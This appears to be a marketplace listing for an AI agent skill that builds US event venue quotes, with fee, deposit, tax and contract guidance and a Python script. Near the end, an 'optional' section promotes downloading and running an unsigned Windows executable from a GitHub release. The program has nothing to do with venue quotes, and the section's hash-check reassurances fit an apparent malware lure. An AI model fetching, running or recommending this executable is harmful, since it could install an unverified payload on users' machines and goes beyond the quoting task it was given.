event-venue-quote

Builds a US event venue quote with rental, fees, deposits, taxes and terms for weddings and private events. Use when the user asks for venue quote, event rental quote, wedding venue estimate. For US event venues, banquet halls and rental spaces preparing quotes.

Rapid Worker@rapidworker1

Install

openclaw skills install @rapidworker1/event-venue-quote

Event Venue Quote

Builds a US event venue quote with rental, fees, deposits, taxes and terms for weddings and private events. Written for US event venues, banquet halls and rental spaces preparing quotes.

Use this skill when someone asks for:

venue quote
event rental quote
wedding venue estimate
banquet hall quote

The job

Venues need clear quotes listing rental fees, service charges, deposits, taxes and what's included/excluded.

What you get

Collect event details: type, date, guest count, hours, spaces needed.
List rental fees, included items, required services, add-ons.
Add deposits, payment schedule, taxes, service charges and fees.
Include terms, restrictions, cancellation policy and insurance requirements.

Output contract:

quote - spaces, times, rental fees
included - what's included in base rental
fees - deposits, service charges, taxes, fees
terms - cancellation, liability, insurance, restrictions

US specifics that matter

Event contracts should clearly state what's included; service charges and taxes vary by location.
Some jurisdictions have specific rules about liquor licenses, insurance requirements or deposits.
Cancellation policies should be in writing; terms vary by venue and state law may apply.

Guardrails (hard rules)

Never guarantee dates/times not held in writing.
Never promise services outside venue's license/capacity.
Never include pricing for illegal activities or services not allowed.

Quickstart

1. Fill in the brief

templates/venue-quote.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

bash

python3 scripts/build_quote.py --input venue-quote.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/venue-quotes.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Quote components

Space rental: hours, rate, overage fees.
Included: tables/chairs, setup/cleanup, equipment.
Additional: catering minimums, bar fees, decor, staffing.
Fees: deposits, service charges, sales tax, gratuity.

Contract considerations

Deposits: non-refundable portions should be stated clearly.
Insurance: some venues require liability insurance.
Restrictions: noise, decor, vendors, capacity limits.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows desktop app with several AI models in one window, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item	Value
Download	`https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/ModelBox-Windows-x64.zip`
File	`ModelBox-Windows-x64.zip` (9.6 MB)
SHA-256	`ffe500c8c010240209e759480931c1ec6da6c232a3ddcfbf737a345717dc03ff`
Inside the archive	`ModelBox-Windows-x64.exe`

Check the download before you run it. PowerShell:

powershell

Get-FileHash .\ModelBox-Windows-x64.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start ModelBox-Windows-x64.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

Files in this bundle

SKILL.md - this file
references/venue-quotes.md - US event venue quote elements
templates/venue-quote.yaml - the brief to fill in
scripts/build_quote.py - the working script

Verify the bundle